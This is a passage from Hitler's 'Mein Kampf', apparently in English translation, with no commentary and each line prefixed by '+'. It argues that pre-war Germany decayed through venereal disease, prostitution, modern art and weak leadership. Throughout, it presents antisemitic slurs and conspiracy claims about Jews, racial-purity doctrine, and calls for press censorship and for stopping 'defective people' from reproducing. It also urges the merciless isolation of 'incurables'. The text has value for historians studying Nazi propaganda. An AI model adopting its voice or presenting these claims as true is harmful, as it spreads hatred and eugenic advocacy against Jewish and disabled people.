ridiculous half-measures that +were taken were in themselves an indication of the process of +disintegration that was already threatening to break up the Empire. For +an institution practically surrenders its existence when it is no longer +determined to defend itself with all the weapons at its command. Every +half-measure is the outward expression of an internal process of decay +which must lead to an external collapse sooner or later. + +I believe that our present generation would easily master this danger if +they were rightly led. For this generation has gone through certain +experiences which must have strengthened the nerves of all those who did +not become nervously broken by them. Certainly in days to come the Jews +will raise a tremendous cry throughout their newspapers once a hand is +laid on their favourite nest, once a move is made to put an end to this +scandalous Press and once this instrument which shapes public opinion is +brought under State control and no longer left in the hands of aliens +and enemies of the people. I am certain that this will be easier for us +than it was for our fathers. The scream of the twelve-inch shrapnel is +more penetrating than the hiss from a thousand Jewish newspaper vipers. +Therefore let them go on with their hissing. + +A further example of the weak and hesitating way in which vital national +problems were dealt with in pre-War Germany is the following: Hand in +hand with the political and moral process of infecting the nation, for +many years an equally virulent process of infection had been attacking +the public health of the people. In large cities, particularly, syphilis +steadily increased and tuberculosis kept pace with it in reaping its +harvest of death almost in every part of the country. + +Although in both cases the effect on the nation was alarming, it seemed +as if nobody was in a position to undertake any decisive measures +against these scourges. + +In the case of syphilis especially the attitude of the State and public +bodies was one of absolute capitulation. To combat this state of affairs +something of far wider sweep should have been undertaken than was really +done. The discovery of a remedy which is of a questionable nature and +the excellent way in which it was placed on the market were only of +little assistance in fighting such a scourge. Here again the only course +to adopt is to attack the disease in its causes rather than in its +symptoms. But in this case the primary cause is to be found in the +manner in which love has been prostituted. Even though this did not +directly bring about the fearful disease itself, the nation must still +suffer serious damage thereby, for the moral havoc resulting from this +prostitution would be sufficient to bring about the destruction of the +nation, slowly but surely. This Judaizing of our spiritual life and +mammonizing of our natural instinct for procreation will sooner or later +work havoc with our whole posterity. For instead of strong, healthy +children, blessed with natural feelings, we shall see miserable +specimens of humanity resulting from economic calculation. For economic +considerations are becoming more and more the foundations of marriage +and the sole preliminary condition of it. And love looks for an outlet +elsewhere. + +Here, as elsewhere, one may defy Nature for a certain period of time; +but sooner or later she will take her inexorable revenge. And when man +realizes this truth it is often too late. + +Our own nobility furnishes an example of the devastating consequences +that follow from a persistent refusal to recognize the primary +conditions necessary for normal wedlock. Here we are openly brought face +to face with the results of those reproductive habits which on the one +hand are determined by social pressure and, on the other, by financial +considerations. The one leads to inherited debility and the other to +adulteration of the blood-strain; for all the Jewish daughters of the +department store proprietors are looked upon as eligible mates to +co-operate in propagating His Lordship's stock. And the stock certainly +looks it. All this leads to absolute degeneration. Nowadays our +bourgeoise are making efforts to follow in the same path, They will come +to the same journey's end. + +These unpleasant truths are hastily and nonchalantly brushed aside, as +if by so doing the real state of affairs could also be abolished. But +no. It cannot be denied that the population of our great towns and +cities is tending more and more to avail of prostitution in the exercise +of its amorous instincts and is thus becoming more and more contaminated +by the scourge of venereal disease. On the one hand, the visible effects +of this mass-infection can be observed in our insane asylums and, on the +other hand, alas! among the children at home. These are the doleful and +tragic witnesses to the steadily increasing scourge that is poisoning +our sexual life. Their sufferings are the visible results of parental +vice. + +There are many ways of becoming resigned to this unpleasant and terrible +fact. Many people go about seeing nothing or, to be more correct, not +wanting to see anything. This is by far the simplest and cheapest +attitude to adopt. Others cover themselves in the sacred mantle of +prudery, as ridiculous as it is false. They describe the whole condition +of affairs as sinful and are profoundly indignant when brought face to +face with a victim. They close their eyes in reverend abhorrence to this +godless scourge and pray to the Almighty that He--if possible after +their own death--may rain down fire and brimstone as on Sodom and +Gomorrah and so once again make an out standing example of this +shameless section of humanity. Finally, there are those who are well +aware of the terrible results which this scourge will and must bring +about, but they merely shrug their shoulders, fully convinced of their +inability to undertake anything against this peril. Hence matters are +allowed to take their own course. + +Undoubtedly all this is very convenient and simple, only it must not be +overlooked that this convenient way of approaching things can have fatal +consequences for our national life. The excuse that other nations are +also not faring any better does not alter the fact of our own +deterioration, except that the feeling of sympathy for other stricken +nations makes our own suffering easier to bear. But the important +question that arises here is: Which nation will be the first to take the +initiative in mastering this scourge, and which nations will succumb to +it? This will be the final upshot of the whole situation. The present is +a period of probation for racial values. The race that fails to come +through the test will simply die out and its place will be taken by the +healthier and stronger races, which will be able to endure greater +hardships. As this problem primarily concerns posterity, it belongs to +that category of which it is said with terrible justification that the +sins of the fathers are visited on their offspring unto the tenth +generation. This is a consequence which follows on an infringement of +the laws of blood and race. + +The sin against blood and race is the hereditary sin in this world and +it brings disaster on every nation that commits it. + +The attitude towards this one vital problem in pre-War Germany was most +regrettable. What measures were undertaken to arrest the infection of +our youth in the large cities? What was done to put an end to the +contamination and mammonization of sexual life among us? What was done +to fight the resultant spreading of syphilis throughout the whole of our +national life? The reply to this question can best be illustrated by +showing what should have been done. + +Instead of tackling this problem in a haphazard way, the authorities +should have realized that the fortunes or misfortunes of future +generations depended on its solution. But to admit this would have +demanded that active measures be carried out in a ruthless manner. The +primary condition would have been that the enlightened attention of the +whole country should be concentrated on this terrible danger, so that +every individual would realize the importance of fighting against it. It +would be futile to impose obligations of a definite character--which are +often difficult to bear--and expect them to become generally effective, +unless the public be thoroughly instructed on the necessity of imposing +and accepting such obligations. This demands a widespread and systematic +method of enlightenment and all other daily problems that might distract +public attention from this great central problem should be relegated to +the background. + +In every case where there are exigencies or tasks that seem impossible +to deal with successfully public opinion must be concentrated on the one +problem, under the conviction that the solution of this problem alone is +a matter of life or death. Only in this way can public interest be +aroused to such a pitch as will urge people to combine in a great +voluntary effort and achieve important results. + +This fundamental truth applies also to the individual, provided he is +desirous of attaining some great end. He must always concentrate his +efforts to one definitely limited stage of his progress which has to be +completed before the next step be attempted. Those who do not endeavour +to realize their aims step by step and who do not concentrate their +energy in reaching the individual stages, will never attain the final +objective. At some stage or other they will falter and fail. This +systematic way of approaching an objective is an art in itself, and +always calls for the expenditure of every ounce of energy in order to +conquer step after step of the road. + +Therefore the most essential preliminary condition necessary for an +attack on such a difficult stage of the human road is that the +authorities should succeed in convincing the masses that the immediate +objective which is now being fought for is the only one that deserves to +be considered and the only one on which everything depends. The broad +masses are never able clearly to see the whole stretch of the road lying +in front of them without becoming tired and thus losing faith in their +ability to complete the task. To a certain extent they will keep the +objective in mind, but they are only able to survey the whole road in +small stages, as in the case of the traveller who knows where his +journey is going to end but who masters the endless stretch far better +by attacking it in degrees. Only in this way can he keep up his +determination to reach the final objective. + +It is in this way, with the assistance of every form of propaganda, that +the problem of fighting venereal disease should be placed before the +public--not as a task for the nation but as THE main task. Every +possible means should be employed to bring the truth about this scourge +home to the minds of the people, until the whole nation has been +convinced that everything depends on the solution of this problem; that +is to say, a healthy future or national decay. + +Only after such preparatory measures--if necessary spread over a period +of many years--will public attention and public resolution be fully +aroused, and only then can serious and definite measures be undertaken +without running the risk of not being fully understood or of being +suddenly faced with a slackening of the public will. It must be made +clear to all that a serious fight against this scourge calls for vast +sacrifices and an enormous amount of work. + +To wage war against syphilis means fighting against prostitution, +against prejudice, against old-established customs, against current +fashion, public opinion, and, last but not least, against false prudery +in certain circles. + +The first preliminary condition to be fulfilled before the State can +claim a moral right to fight against all these things is that the young +generation should be afforded facilities for contracting early +marriages. Late marriages have the sanction of a custom which, from +whatever angle we view it, is and will remain a disgrace to humanity. + +Prostitution is a disgrace to humanity and cannot be removed simply by +charitable or academic methods. Its restriction and final extermination +presupposes the removal of a whole series of contributory circumstances. +The first remedy must always be to establish such conditions as will +make early marriages possible, especially for young men--for women are, +after all, only passive subjects in this matter. + +An illustration of the extent to which people have so often been led +astray nowadays is afforded by the fact that not infrequently one hears +mothers in so-called 'better' circles openly expressing their +satisfaction at having found as a husband for their daughter a man who +has already sown his wild oats, etc. As there is usually so little +shortage in men of this type, the poor girl finds no difficulty in +getting a mate of this description, and the children of this marriage +are a visible result of such supposedly sensible unions. + +When one realizes, apart from this, that every possible effort is being +made to hinder the process of procreation and that Nature is being +wilfully cheated of her rights, there remains really only one question: +Why is such an institution as marriage still in existence, and what are +its functions? Is it really nothing better than prostitution? Does our +duty to posterity no longer play any part? Or do people not realize the +nature of the curse they are inflicting on themselves and their +offspring by such criminally foolish neglect of one of the primary laws +of Nature? This is how civilized nations degenerate and gradually +perish. + +Marriage is not an end in itself but must serve the greater end, which +is that of increasing and maintaining the human species and the race. +This is its only meaning and purpose. + +This being admitted, then it is clear that the institution of marriage +must be judged by the manner in which its allotted function is +fulfilled. Therefore early marriages should be the rule, because thus +the young couple will still have that pristine force which is the +fountain head of a healthy posterity with unimpaired powers of +resistance. Of course early marriages cannot be made the rule unless a +whole series of social measures are first undertaken without which early +marriages cannot be even thought of. In other words, a solution of this +question, which seems a small problem in itself, cannot be brought about +without adopting radical measures to alter the social background. The +importance of such measures ought to be studied and properly estimated, +especially at a time when the so-called 'social' Republic has shown +itself unable to solve the housing problem and thus has made it +impossible for innumerable couples to get married. That sort of policy +prepares the way for the further advance of prostitution. + +Another reason why early marriages are impossible is our nonsensical +method of regulating the scale of salaries, which pays far too little +attention to the problem of family support. Prostitution, therefore, can +only be really seriously tackled if, by means of a radical social +reform, early marriage is made easier than hitherto. This is the first +preliminary necessity for the solution of this problem. + +Secondly, a whole series of false notions must be eradicated from our +system of bringing up and educating children--things which hitherto no +one seems to have worried about. In our present educational system a +balance will have to be established, first and foremost, between mental +instruction and physical training. + +What is known as GYMNASIUM (Grammar School) to-day is a positive insult +to the Greek institution. Our system of education entirely loses sight +of the fact that in the long run a healthy mind can exist only in a +healthy body. This statement, with few exceptions, applies particularly +to the broad masses of the nation. + +In the pre-War Germany there was a time when no one took the trouble to +think over this truth. Training of the body was criminally neglected, +the one-sided training of the mind being regarded as a sufficient +guarantee for the nation's greatness. This mistake was destined to show +its effects sooner than had been anticipated. It is not pure chance that +the Bolshevic teaching flourishes in those regions whose degenerate +population has been brought to the verge of starvation, as, for example, +in the case of Central Germany, Saxony, and the Ruhr Valley. In all +these districts there is a marked absence of any serious resistance, +even by the so-called intellectual classes, against this Jewish +contagion. And the simple reason is that the intellectual classes are +themselves physically degenerate, not through privation but through +education. The exclusive intellectualism of the education in vogue among +our upper classes makes them unfit for life's struggle at an epoch in +which physical force and not mind is the dominating factor. Thus they +are neither capable of maintaining themselves nor of making their way in +life. In nearly every case physical disability is the forerunner of +personal cowardice. + +The extravagant emphasis laid on purely intellectual education and the +consequent neglect of physical training must necessarily lead to sexual +thoughts in early youth. Those boys whose constitutions have been +trained and hardened by sports and gymnastics are less prone to sexual +indulgence than those stay-at-homes who have been fed exclusively with +mental pabulum. Sound methods of education cannot, however, afford to +disregard this, and we must not forget that the expectations of a +healthy young man from a woman will differ from those of a weakling who +has been prematurely corrupted. + +Thus in every branch of our education the day's curriculum must be +arranged so as to occupy a boy's free time in profitable development of +his physical powers. He has no right in those years to loaf about, +becoming a nuisance in public streets and in cinemas; but when his day's +work is done he ought to harden his young body so that his strength may +not be found wanting when the occasion arises. To prepare for this and +to carry it out should be the function of our educational system and not +exclusively to pump in knowledge or wisdom. Our school system must also +rid itself of the notion that the training of the body is a task that +should be left to the individual himself. There is no such thing as +allowing freedom of choice to sin against posterity and thus against the +race. + +The fight against pollution of the mind must be waged simultaneously +with the training of the body. To-day the whole of our public life may +be compared to a hot-house for the forced growth of sexual notions and +incitements. A glance at the bill-of-fare provided by our cinemas, +playhouses, and theatres suffices to prove that this is not the right +food, especially for our young people. Hoardings and advertisements +kiosks combine to attract the public in the most vulgar manner. Anyone +who has not altogether lost contact with adolescent yearnings will +realize that all this must have very grave consequences. This seductive +and sensuous atmosphere puts notions into the heads of our youth which, +at their age, ought still to be unknown to them. Unfortunately, the +results of this kind of education can best be seen in our contemporary +youth who are prematurely grown up and therefore old before their time. +The law courts from time to time throw a distressing light on the +spiritual life of our 14- and 15-year old children. Who, therefore, will +be surprised to learn that venereal disease claims its victims at this +age? And is it not a frightful shame to see the number of physically +weak and intellectually spoiled young men who have been introduced to +the mysteries of marriage by the whores of the big cities? + +No; those who want seriously to combat prostitution must first of all +assist in removing the spiritual conditions on which it thrives. They +will have to clean up the moral pollution of our city 'culture' +fearlessly and without regard for the outcry that will follow. If we do +not drag our youth out of the morass of their present environment they +will be engulfed by it. Those people who do not want to see these things +are deliberately encouraging them and are guilty of spreading the +effects of prostitution to the future--for the future belongs to our +young generation. This process of cleansing our 'Kultur' will have to be +applied in practically all spheres. The stage, art, literature, the +cinema, the Press and advertisement posters, all must have the stains of +pollution removed and be placed in the service of a national and +cultural idea. The life of the people must be freed from the +asphyxiating perfume of our modern eroticism and also from every unmanly +and prudish form of insincerity. In all these things the aim and the +method must be determined by thoughtful consideration for the +preservation of our national well-being in body and soul. The right to +personal freedom comes second in importance to the duty of maintaining +the race. + +Only after such measures have been put into practice can a medical +campaign against this scourge begin with some hope of success. But, here +again, half-measures will be valueless. Far-reaching and important +decisions will have to be made. It would be doing things by halves if +incurables were given the opportunity of infecting one healthy person +after another. This would be that kind of humanitarianism which would +allow hundreds to perish in order to save the suffering of one +individual. The demand that it should be made impossible for defective +people to continue to propagate defective offspring is a demand that is +based on most reasonable grounds, and its proper fulfilment is the most +humane task that mankind has to face. Unhappy and undeserved suffering +in millions of cases will be spared, with the result that there will be +a gradual improvement in national health. A determined decision to act +in this manner will at the same time provide an obstacle against the +further spread of venereal disease. It would then be a case, where +necessary, of mercilessly isolating all incurables--perhaps a barbaric +measure for those unfortunates--but a blessing for the present +generation and for posterity. The temporary pain thus experienced in +this century can and will spare future thousands of generations from +suffering. + +The fight against syphilis and its pace-maker, prostitution, is one of +the gigantic tasks of mankind; gigantic, because it is not merely a case +of solving a single problem but the removal of a whole series of evils +which are the contributory causes of this scourge. Disease of the body +in this case is merely the result of a diseased condition of the moral, +social, and racial instincts. + +But if for reasons of indolence or cowardice this fight is not fought to +a finish we may imagine what conditions will be like 500 years hence. +Little of God's image will be left in human nature, except to mock the +Creator. + +But what has been done in Germany to counteract this scourge? If we +think calmly over the answer we shall find it distressing. It is true +that in governmental circles the terrible and injurious effects of this +disease were well known, but the counter-measures which were officially +adopted were ineffective and a hopeless failure. They tinkered with +cures for the symptoms, wholly regardless of the cause of the disease. +Prostitutes were medically examined and controlled as far as possible, +and when signs of infection were apparent they were sent to hospital. +When outwardly cured, they were once more let loose on humanity. + +It is true that 'protective legislation' was introduced which made +sexual intercourse a punishable offence for all those not completely +cured, or those suffering from venereal disease. This legislation was +correct in theory, but in practice it failed completely. In the first +place, in the majority of cases women will decline to appear in court as +witnesses against men who have robbed them of their health. Women would +be exposed far more than men to uncharitable remarks in such cases, and +one can imagine what their position would be if they had been infected +by their own husbands. Should women in that case lay a charge? Or what +should they do? + +In the case of the man there is the additional fact that he frequently +is unfortunate enough to run up against this danger when he is under the +influence of alcohol. His condition makes it impossible for him to +assess the qualities of his 'amorous beauty,' a fact which is well known +to every diseased prostitute and makes them single out men in this ideal +condition for preference. The result is that the unfortunate man is not +able to recollect later on who his compassionate benefactress was, which +is not surprising in cities like Berlin and Munich. Many of such cases +are visitors from the provinces who, held speechless and enthralled by +the magic charm of city life, become an easy prey for prostitutes. + +In the final analysis who is able to say whether he has been infected or +not? + +Are there not innumerable cases on record where an apparently cured +person has a relapse and does untold harm without knowing it? + +Therefore in practice the results of these legislative measures are +negative. The same applies to the control of prostitution, and, finally, +even medical treatment and cure are nowadays unsafe and doubtful. One +thing only is certain. The scourge has spread further and further in +spite of all measures, and this alone suffices definitely to stamp and +substantiate their inefficiency. + +Everything else that was undertaken was just as inefficient as it was +absurd. The spiritual prostitution of the people was neither arrested +nor was anything whatsoever undertaken in this direction. + +Those, however, who do not regard this subject as a serious one would do +well to examine the statistical data of the spread of this disease, +study its growth in the last century and contemplate the possibilities +of its further development. The ordinary observer, unless he were +particularly stupid, would experience a cold shudder if the position +were made clear to him. + +The half-hearted and wavering attitude adopted in pre-War Germany +towards this iniquitous condition can assuredly be taken as a visible +sign of national decay. When the courage to fight for one's own health +is no longer in evidence, then the right to live in this world of +struggle also ceases. + +One of the visible signs of decay in the old REICH was the slow setback +which the general cultural level experienced. But by 'Kultur' I do not +mean that which we nowadays style as civilization, which on the contrary +may rather be regarded as inimical to the spiritual elevation of life. + +At the turn of the last century a new element began to make its +appearance in our world. It was an element which had been hitherto +absolutely unknown and foreign to us. In former times there had +certainly been offences against good taste; but these were mostly +departures from the orthodox canons of art, and posterity could +recognize a certain historical value in them. But the new products +showed signs, not only of artistic aberration but of spiritual +degeneration. Here, in the cultural sphere, the signs of the coming +collapse first became manifest. + +The Bolshevization of art is the only cultural form of life and the only +spiritual manifestation of which Bolshevism is capable. + +Anyone to whom this statement may appear strange need only take a glance +at those lucky States which have become Bolshevized and, to his horror, +he will there recognize those morbid monstrosities which have been +produced by insane and degenerate people. All those artistic aberrations +which are classified under the names of cubism and dadism, since the +opening of the present century, are manifestations of art which have +come to be officially recognized by the State itself. This phenomenon +made its appearance even during the short-lived period of the Soviet +Republic in Bavaria. At that time one might easily have recognized how +all the official posters, propagandist pictures and newspapers, etc., +showed signs not only of political but also of cultural decadence. + +About sixty years ago a political collapse such as we are experiencing +to-day would have been just as inconceivable as the cultural decline +which has been manifested in cubist and futurist pictures ever since +1900. Sixty years ago an exhibition of so-called dadistic 'experiences' +would have been an absolutely preposterous idea. The organizers of such +an exhibition would then have been certified for the lunatic asylum, +whereas, to-day they are appointed presidents of art societies. At that +time such an epidemic would never have been allowed to spread. Public +opinion would not have tolerated it, and the Government would not have +remained silent; for it is the duty of a Government to save its people +from being stampeded into such intellectual madness. But intellectual +madness would have resulted from a development that followed the +acceptance of this kind of art. It would have marked one of the worst +changes in human history; for it would have meant that a retrogressive +process had begun to take place in the human brain, the final stages of +which would be unthinkable. + +If we study the course of our cultural life during the last twenty-five +years we shall be astonished to note how far we have already gone in +this process of retrogression. Everywhere we find the presence of those +germs which give rise to protuberant growths that must sooner or later +bring about the ruin of our culture. Here we find undoubted symptoms of +slow corruption; and woe to the nations that are no longer able to bring +that morbid process to a halt. + +In almost all the various fields of German art and culture those morbid +phenomena may be observed. Here everything seems to have passed the +culminating point of its excellence and to have entered the curve of a +hasty decline. At the beginning of the century the theatres seemed +already degenerating and ceasing to be cultural factors, except the +Court theatres, which opposed this prostitution of the national art. +With these exceptions, and also a few other decent institutions, the +plays produced on the stage were of such a nature that the people would +have benefited by not visiting them at all. A sad symptom of decline was +manifested by the fact that in the case of many 'art centres' the sign +was posted on the entrance doors: FOR ADULTS ONLY. + +Let it be borne in mind that these precautions had to be taken in regard +to institutions whose main purpose should have been to promote the +education of the youth and not merely to provide amusement for +sophisticated adults. What would the great dramatists of other times +have said of such measures and, above all, of the conditions which made +these measures necessary? How exasperated Schiller would have been, and +how Goethe would have turned away in disgust! + +But what are Schiller, Goethe and Shakespeare when confronted with the +heroes of our modern German literature? Old and frowsy and outmoded and +finished. For it was typical of this epoch that not only were its own +products bad but that the authors of such products and their backers +reviled everything that had really been great in the past. This is a +phenomenon that is very characteristic of such epochs. The more vile and +miserable are the men and products of an epoch, the more they will hate +and denigrate the ideal achievements of former generations. What these +people would like best would be completely to destroy every vestige of +the past, in order to do away with that sole standard of comparison +which prevents their own daubs from being looked upon as art. Therefore +the more lamentable and wretched are the products of each new era, the +more it will try to obliterate all the memorials of the past. But any +real innovation that is for the benefit of mankind can always face +comparison with the best of what has gone before; and frequently it +happens that those monuments of the past guarantee the acceptance of +those modern productions. There is no fear that modern productions of +real worth will look pale and worthless beside the monuments of the +past. What is contributed to the general treasury of human culture often +fulfils a part that is necessary in order to keep the memory of old +achievements alive, because this memory alone is the standard whereby +our own works are properly appreciated. Only those who have nothing of +value to give to the world will oppose everything that already exists +and would have it destroyed at all costs. + +And this holds good not only for new phenomena in the cultural domain +but also in politics. The more inferior new revolutionary movements are, +the more will they try to denigrate the old forms. Here again the desire +to pawn off their shoddy products as great and original achievements +leads them into a blind hatred against everything which belongs to the +past and which is superior to their own work. As long as the historical +memory of Frederick the Great, for instance, still lives, Frederick +Ebert can arouse only a problematic admiration. The relation of the hero +of Sans Souci to the former republican of Bremen may be compared to that +of the sun to the moon; for the moon can shine only after the direct +rays of the sun have left the earth. Thus we can readily understand why +it is that all the new moons in human history have hated the fixed +stars. In the field of politics, if Fate should happen temporarily to +place the ruling power in the hands of those nonentities they are not +only eager to defile and revile the past but at the same time they will +use all means to evade criticism of their own acts. The Law for the +Protection of the Republic, which the new German State enacted, may be +taken as one example of this truth. + +One has good grounds to be suspicious in regard to any new idea, or any +doctrine or philosophy, any political or economical movement, which +tries to deny everything that the past has produced or to present it as +inferior and worthless. Any renovation which is really beneficial to +human progress will always have to begin its constructive work at the +level where the last stones of the structure have been laid. It need not +blush to utilize those truths which have already been established; for +all human culture, as well as man himself, is only the result of one +long line of development, where each generation has contributed but one +stone to the building of the whole structure. The meaning and purpose of +revolutions cannot be to tear down the whole building but to take away +what has not been well fitted into it or is unsuitable, and to rebuild +the free space thus caused, after which the main construction of the +building will be carried on. + +Thus alone will it be possible to talk of human progress; for otherwise +the world would never be free of chaos, since each generation would feel +entitled to reject the past and to destroy all the work of the past, as +the necessary preliminary to any new work of its own. + +The saddest feature of the condition in which our whole civilization +found itself before the War was the fact that it was not only barren of +any creative force to produce its own works of art and civilization but +that it hated, defiled and tried to efface the memory of the superior +works produced in the past. About the end of the last century people +were less interested in producing new significant works of their +own--particularly in the fields of dramatic art and literature--than in +defaming the best works of the past and in presenting them as inferior +and antiquated. As if this period of disgraceful decadence had the +slightest capacity to produce anything of superior quality! The efforts +made to conceal the past from the eyes of the present afforded clear +evidence of the fact that these apostles of the future acted from an +evil intent. These symptoms should have made it clear to all that it was +not a question of new, though wrong, cultural ideas but of a process +which was undermining the very foundations of civilization. It threw the +artistic feeling which had hitherto been quite sane into utter +confusion, thus spiritually preparing the way for political Bolshevism. +If the creative spirit of the Periclean age be manifested in the +Parthenon, then the Bolshevist era is manifested through its cubist +grimace. + +In this connection attention must be drawn once again to the want of +courage displayed by one section of our people, namely, by those who, in +virtue of their education and position, ought to have felt themselves +obliged to take up a firm stand against this outrage on our culture. But +they refrained from offering serious resistance and surrendered to what +they considered the inevitable. This abdication of theirs was due, +however, to sheer funk lest the apostles of Bolshevist art might raise a +rumpus; for those apostles always violently attacked everyone who was +not ready to recognize them as the choice spirits of artistic creation, +and they tried to strangle all opposition by saying that it was the +product of philistine and backwater minds. People trembled in fear lest +they might be accused by these yahoos and swindlers of lacking artistic +appreciation, as if it would have been a disgrace not to be able to +understand and appreciate the effusions of those mental degenerates or +arrant rogues. Those cultural disciples, however, had a very simple way +of presenting their own effusions as works of the highest quality. They +offered incomprehensible and manifestly crazy productions to their +amazed contemporaries as what they called 'an inner experience'. Thus +they forestalled all adverse criticism at very little cost indeed. Of +course nobody ever doubted that there could have been inner experiences +like that, but some doubt ought to have arisen as to whether or not +there was any justification for exposing these hallucinations of +psychopaths or criminals to the sane portion of human society. The works +produced by a Moritz von Schwind or a Böcklin were also externalizations +of an inner experience, but these were the experiences of divinely +gifted artists and not of buffoons. + +This situation afforded a good opportunity of studying the miserable +cowardliness of our so-called intellectuals who shirked the duty of +offering serious resistance to the poisoning of the sound instincts of +our people. They left it to the people themselves to formulate their own +attitude towards his impudent nonsense. Lest they might be considered as +understanding nothing of art, they accepted every caricature of art, +until they finally lost the power of judging what is really good or bad. + +Taken all in all, there were superabundant symptoms to show that a +diseased epoch had begun. + +Still another critical symptom has to be considered. In the course of +the nineteenth century our towns and cities began more and more to lose +their character as centres of civilization and became more and more +centres of habitation. In our great modern cities the proletariat does +not show much attachment to the place where it lives. This feeling +results from the fact that their dwelling-place is nothing but an +accidental abode, and that feeling is also partly due to the frequent +change of residence which is forced upon them by social conditions. +There is no time for the growth of any attachment to the town in which +they live. But another reason lies in the cultural barrenness and +superficiality of our modern cities. At the time of the German Wars of +Liberation our German towns and cities were not only small in number but +also very modest in size. The few that could really be called great +cities were mostly the residential cities of princes; as such they had +almost always a definite cultural value and also a definite cultural +aspect. Those few towns which had more than fifty thousand inhabitants +were, in comparison with modern cities of the same size, rich in +scientific and artistic treasures. At the time when Munich had not more +than sixty thousand souls it was already well on the way to become one +of the first German centres of art. Nowadays almost every industrial +town has a population at least as large as that, without having anything +of real value to call its own. They are agglomerations of tenement +houses and congested dwelling barracks, and nothing else. It would be a +miracle if anybody should grow sentimentally attached to such a +meaningless place. Nobody can grow attached to a place which offers only +just as much or as little as any other place would offer, which has no +character of its own and where obviously pains have been taken to avoid +everything that might have any resemblance to an artistic appearance. + +But this is not all. Even the great cities become more barren of real +works of art the more they increase in population. They assume more and +more a neutral atmosphere and present the same aspect, though on a +larger scale, as the wretched little factory towns. Everything that our +modern age has contributed to the civilization of our great cities is +absolutely deficient. All our towns are living on the glory and the +treasures of the past. If we take away from the Munich of to-day +everything that was created under Ludwig II we should be horror-stricken +to see how meagre has been the output of important artistic creations +since that time. One might say much the same of Berlin and most of our +other great towns. + +But the following is the essential thing to be noticed: Our great modern +cities have no outstanding monuments that dominate the general aspect of +the city and could be pointed to as the symbols of a whole epoch. Yet +almost every ancient town had a monument erected to its glory. It was +not in private dwellings that the characteristic art of ancient cities +was displayed but in the public monuments, which were not meant to have +a transitory interest but an enduring one. And this was because they did +not represent the wealth of some individual citizen but the greatness +and importance of the community. It was under this inspiration that +those monuments arose which bound the individual inhabitants to their +own town in a manner that is often almost incomprehensible to us to-day. +What struck the eye of the individual citizen was not a number of +mediocre private buildings, but imposing structures that belonged to the +whole community. In contradistinction to these, private dwellings were +of only very secondary importance indeed. + +When we compare the size of those ancient public buildings with that of +the private dwellings belonging to the same epoch then we can understand +the great importance which was given to the principle that those works +which reflected and affected the life of the community should take +precedence of all others. + +Among the broken arches and vast spaces that are covered with ruins from +the ancient world the colossal riches that still arouse our wonder have +not been left to us from the commercial palaces of these days but from +the temples of the Gods and the public edifices that belonged to the +State. The community itself was the owner of those great edifices. Even +in the pomp of Rome during the decadence it was not the villas and +palaces of some citizens that filled the most prominent place but rather +the temples and the baths, the stadia, the circuses, the aqueducts, the +basilicas, etc., which belonged to the State and therefore to the people +as a whole. + +In medieval Germany also the same principle held sway, although the +artistic outlook was quite different. In ancient times the theme that +found its expression in the Acropolis or the Pantheon was now clothed in +the forms of the Gothic Cathedral. In the medieval cities these +monumental structures towered gigantically above the swarm of smaller +buildings with their framework walls of wood and brick. And they remain +the dominant feature of these cities even to our own day, although they +are becoming more and more obscured by the apartment barracks. They +determine the character and appearance of the locality. Cathedrals, +city-halls, corn exchanges, defence towers, are the outward expression +of an idea which has its counterpart only in the ancient world. + +The dimensions and quality of our public buildings to-day are in +deplorable contrast to the edifices that represent private interests. If +a similar fate should befall Berlin as befell Rome future generations +might gaze upon the ruins of some Jewish department stores or +joint-stock hotels and think that these were the characteristic +expressions of the culture of our time. In Berlin itself, compare the +shameful disproportion between the buildings which belong to the REICH +and those which have been erected for the accommodation of trade and +finance. + +The credits that are voted for public buildings are in most cases +inadequate and really ridiculous. They are not built as structures that +were meant to last but mostly for the purpose of answering the need of +the moment. No higher idea influenced those who commissioned such +buildings. At the time the Berlin Schloss was built it had a quite +different significance from what the new library has for our time, +seeing that one battleship alone represents an expenditure of about +sixty million marks, whereas less than half that sum was allotted for +the building of the Reichstag, which is the most imposing structure +erected for the REICH and which should have been built to last for ages. +Yet, in deciding the question of internal decoration, the Upper House +voted against the use of stone and ordered that the walls should be +covered with stucco. For once, however, the parliamentarians made an +appropriate decision on that occasion; for plaster heads would be out of +place between stone walls. + +The community as such is not the dominant characteristic of our +contemporary cities, and therefore it is not to be wondered at if the +community does not find itself architecturally represented. Thus we must +eventually arrive at a veritable civic desert which will at last be +reflected in the total indifference of the individual citizen towards +his own country. + +This is also a sign of our cultural decay and general break-up. Our era +is entirely preoccupied with little things which are to no purpose, or +rather it is entirely preoccupied in the service of money. Therefore it +is not to be wondered at if, with the worship of such an idol, the sense +of heroism should entirely disappear. But the present is only reaping +what the past has sown. + +All these symptoms which preceded the final collapse of the Second +Empire must be attributed to the lack of a definite and uniformly +accepted WELTANSCHAUUNG and the general uncertainty of outlook +consequent on that lack. This uncertainty showed itself when the great +questions of the time had to be considered one after another and a +decisive policy adopted towards them. This lack is also accountable for +the habit of doing everything by halves, beginning with the educational +system, the shilly-shally, the reluctance to undertake responsibilites +and, finally, the cowardly tolerance of evils that were even admitted to +be destructive. Visionary humanitarianisms became the fashion. In weakly +submitting to these aberrations and sparing the feelings of the +individual, the future of millions of human beings was sacrificed. + +An examination of the religious situation before the War shows that the +general process of disruption had extended to this sphere also. A great +part of the nation itself had for a long time already ceased to have any +convictions of a uniform and practical character in their ideological +outlook on life. In this matter the point of primary importance was by +no means the number of people who renounced their church membership but +rather the widespread indifference. While the two Christian +denominations maintained missions in Asia and Africa, for the purpose of +securing new adherents to the Faith, these same denominations were +losing millions and millions of their adherents at home in Europe. These +former adherents either gave up religion wholly as a directive force in +their lives or they adopted their own interpretation of it. The +consequences of this were specially felt in the moral life of the +country. In parenthesis it may be remarked that the progress made by the +missions in spreading the Christian Faith abroad was only quite modest +in comparison with the spread of Mohammedanism. + +It must be noted too that the attack on the dogmatic principles +underlying ecclesiastical teaching increased steadily in violence. And +yet this human world of ours would be inconceivable without the +practical existence of a religious belief. The great masses of a nation +are not composed of philosophers. For the masses of the people, +especially faith is absolutely the only basis of a moral outlook on +life. The various substitutes that have been offered have not shown any +results that might warrant us in thinking that they might usefully +replace the existing denominations. But if religious teaching and +religious faith were once accepted by the broad masses as active forces +in their lives, then the absolute authority of the doctrines of faith +would be the foundation of all practical effort. There may be a few +hundreds of thousands of superior men who can live wisely and +intelligently without depending on the general standards that prevail in +everyday life, but the millions of others cannot do so. Now the place +which general custom fills in everyday life corresponds to that of +general laws in the State and dogma in religion. The purely spiritual +idea is of itself a changeable thing that may be subjected to endless +interpretations. It is only through dogma that it is given a precise and +concrete form without which it could not become a living faith. +Otherwise the spiritual idea would never become 